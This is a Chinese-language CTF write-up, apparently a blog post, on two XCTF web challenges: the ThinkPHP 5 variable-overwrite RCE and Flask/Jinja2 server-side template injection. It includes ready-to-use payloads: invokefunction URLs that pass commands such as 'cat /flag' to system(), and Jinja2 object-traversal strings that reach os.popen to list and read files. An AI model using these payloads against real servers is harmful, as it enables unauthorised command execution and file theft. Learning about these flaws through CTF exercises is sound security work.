这两题涉及到的知识点有,ThinkPHP 的远程代码执行漏洞 以及 flask的 SSTI 漏洞(服务端模板注入) 。
ThinkPHP 是一个轻量级国产 PHP 开发框架,它可以支持 windows/Unix/Linux 等服务器环境。在 ThinkPHP 5 中出现了由于变量覆盖而引起的 RCE(远程命令/代码执行漏洞 – remote command/code execute),其漏洞根本源于 thinkphp/library/think/Request.php 中 method 方法可以进行变量覆盖,通过覆盖类的核心属性 filter 导致 rce 。
关于 ThinkPHP 5 中该漏洞的详细分析可参考此文章 ThinkPHP 5.1框架结合RCE漏洞的深入分析 。
关于命令执行漏洞可参考早些时候写的博客 XCTF系列 // Web ez题 Writeup 中的 6` command_execution 。
漏洞还没看明白……只会用payload……
在这里贴上常见的一种简单payload:
模板之一:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=相关的php代码
//开头的index.php默认的话可以不需要
例如:
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*"
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
本题题目为 template_injection ,即模板注入。
在介绍 SSTI(模板注入) 之前,首先先来介绍一下 SST(模板引擎),百度百科中对其的描述为,模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,如用于网站的模板引擎会生成一个标准的HTML文档。
模板引擎的实现方式有很多,最简单的是“置换型”模板引擎,这类模板引擎只是将指定模板内容(字符串)中的特定标记(子字符串)替换一下便生成了最终需要的业务数据(比如网页)。
个人对其的理解就是,我预先写好了一个比较通用的模板内容,在这个模板中的某些地方是空着的,因为这些地方的内容会依具体需要而不同。当我需要生成 HTML 代码的时候,我可以借助该模板,通过脚本语言传入变量数据,使用模板引擎将模板中空着的地方替换为我们输入的数据。
例如,定义一个模板,
{$content}
如果我需要生成
realContent
模板引擎有很多,例如,Smarty 是一个基于 PHP 开发的 PHP 模板引擎,JINJA2 是基于 Python 的模板引擎,Velocity 是一个基于 Java 的模板引擎,And so on。
本题题目中的提示为 Python ,故对应的是 Jinja2 模板引擎。这里又不得不提到 Flask ,Flask 是一个使用 Python 编写的轻量级 Web 应用框架。它使用的模板引擎即为 Jinja2 。
Flask 模块的渲染方法有 render_template
和 render_template_string
两种。
render_template() 用来渲染一个指定的文件
例如:return render_template('index.html')
render_template_string() 则是用来渲染一个字符串的,SSTI与这个方法密不可分
例如:html = 'This is index page
'
return render_template_string(html)
接下来开始介绍 SSTI(模板注入),Flask 模板注入的产生条件为不正确的使用 Flask 中的 render_template_string() 方法。
在 Jinja2 模板引擎中,{{}} 是变量包裹标识符。在使用 render_template_string() 的同时,使用 %s 来替换字符串的时候,会把字符串中被 {{}} 包围的内容当作变量解析。{{}} 并不仅仅可以传递变量,还可以执行一些简单的表达式。
由于没有搭建相关环境,模板注入相关示例可参照:python-flask模块注入(SSTI),在这里顺便附上本题相关 writeup 中关于模板注入的描述如下:
了解完相关知识点后,现在我们可以结合本题来具体整理分析一下。
首先通过 {{}} 变量包裹标识符进行简单的表达式测试来判断是否确实存在 SSTI 漏洞。
http://111.198.29.45:46675/{{7*7}}
可以看到表达式被执行了,说明确实存在 SSTI 漏洞。接下来我们就需要寻找 flag 了,首先我们需要获取到控制台权限(可以利用 Python 的 os.system
和 os.popen
,前者返回 退出状态码 ,后者 以 file 形式返回输出内容,我们想要的是内容,所以选择 os.popen
),因为我们需要实现文件读取和命令执行。But 由于我们无法直接使用这些方法,所以我们需要另辟蹊径。
Python 是面向对象的编程语言,有着类、对象和继承属性。因此我们可以通过 Python 的对象的继承来一步步实现文件查找和读取。
Python 所有类的几个魔法方法:
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
由于本人 Python 水平不高……逐步获取权限的过程可参照以下博客:
python 模板注入
FLASK模板注入 (SSTI)
这两篇博客对此过程都有很详细的描述,获取到权限以后,剩下的事情就很简单了。
直接上 Payload:
查看文件(ls):
①{{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
文件读取:
①{{''.__class__.__mro__[-1].__subclasses__()[40]('相关文件名').read()}}
②{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat 相关文件名').read()}}